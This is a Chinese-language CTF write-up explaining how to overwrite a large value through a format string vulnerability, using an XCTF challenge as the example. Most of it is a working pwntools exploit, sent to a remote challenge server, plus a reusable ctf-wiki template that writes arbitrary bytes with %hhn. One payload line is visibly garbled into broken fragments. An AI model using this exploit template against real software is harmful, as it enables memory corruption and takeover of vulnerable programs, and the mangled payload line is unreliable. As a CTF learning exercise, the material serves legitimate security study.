大数溢出:
就是当你发现了格式化字符串漏洞时,想要向目标地址
写入较大的数,这样使用"%index$n"就没办法达成目标,这样就需要另外两个格式化字符。
下面以XCTF的实时数据检测为例子:
第一步用checksec查看保护,和位数:
第二步用ida查看漏洞:
发现存在格式化字符串漏洞,并且当key的值为“35795746”时渗透成功
查看key地址,由于我们需要设置key的值为35795746,因此我们采用大数覆盖的方式,由于x64,x86存储数据时使用的是小端法,所以示意图如下:
- 我们通过$hhn向(0x0804A048+i,i=0-3)地址写入单字节的数据
确定偏移
可以算出格式化字符串在栈中的距离为12 - 所以我们的payload可以确定为:
payload=p32(0x0804A048)+p32(0x0804A049)+p32(0x0804A04a)+p32(0x0804A04b)+pad1+’%12 h h n ′ + p a d 2 + ′ hhn'+pad2+'%13 hhn′+pad2+′hhn’+pad3+’%14$hhn’+pad4+’%15 $hhn’
exp:
from pwn import *
#sh =process("./data_monitoring")
sh =remote("159.138.137.79",50588)
key = 0x0804A048
def
fmt(prev,word,index):
if prev < word:
result = word - prev
fmtstr = '%' + str(result) + 'c'
elif prev == word:
result = 0
else:
result = 256 + word - prev
#256的二进制数为1 0000 0000,由于只接受一个字节的内容,所以256 + word - prev 即为要覆盖的数
fmtstr = '%' + str(result) + 'c'
fmtstr += '%' + str(index) + '$hhn'
return fmtstr
def
fmt_str(offset,size,addr,target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev,(target >> i *8) & 0xff,offset + i)
#((target >> i * 8) &0xff)为每次取16进制数中最低2位的数,之后在右移2位
prev = (target >> i * 8) &0xff
return payload
payload =fmt_str(12,4,key,0x2223322)
sh.sendline(payload)
sh.interactive()
这里推荐了,ctf-wiki中的代码模板:
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload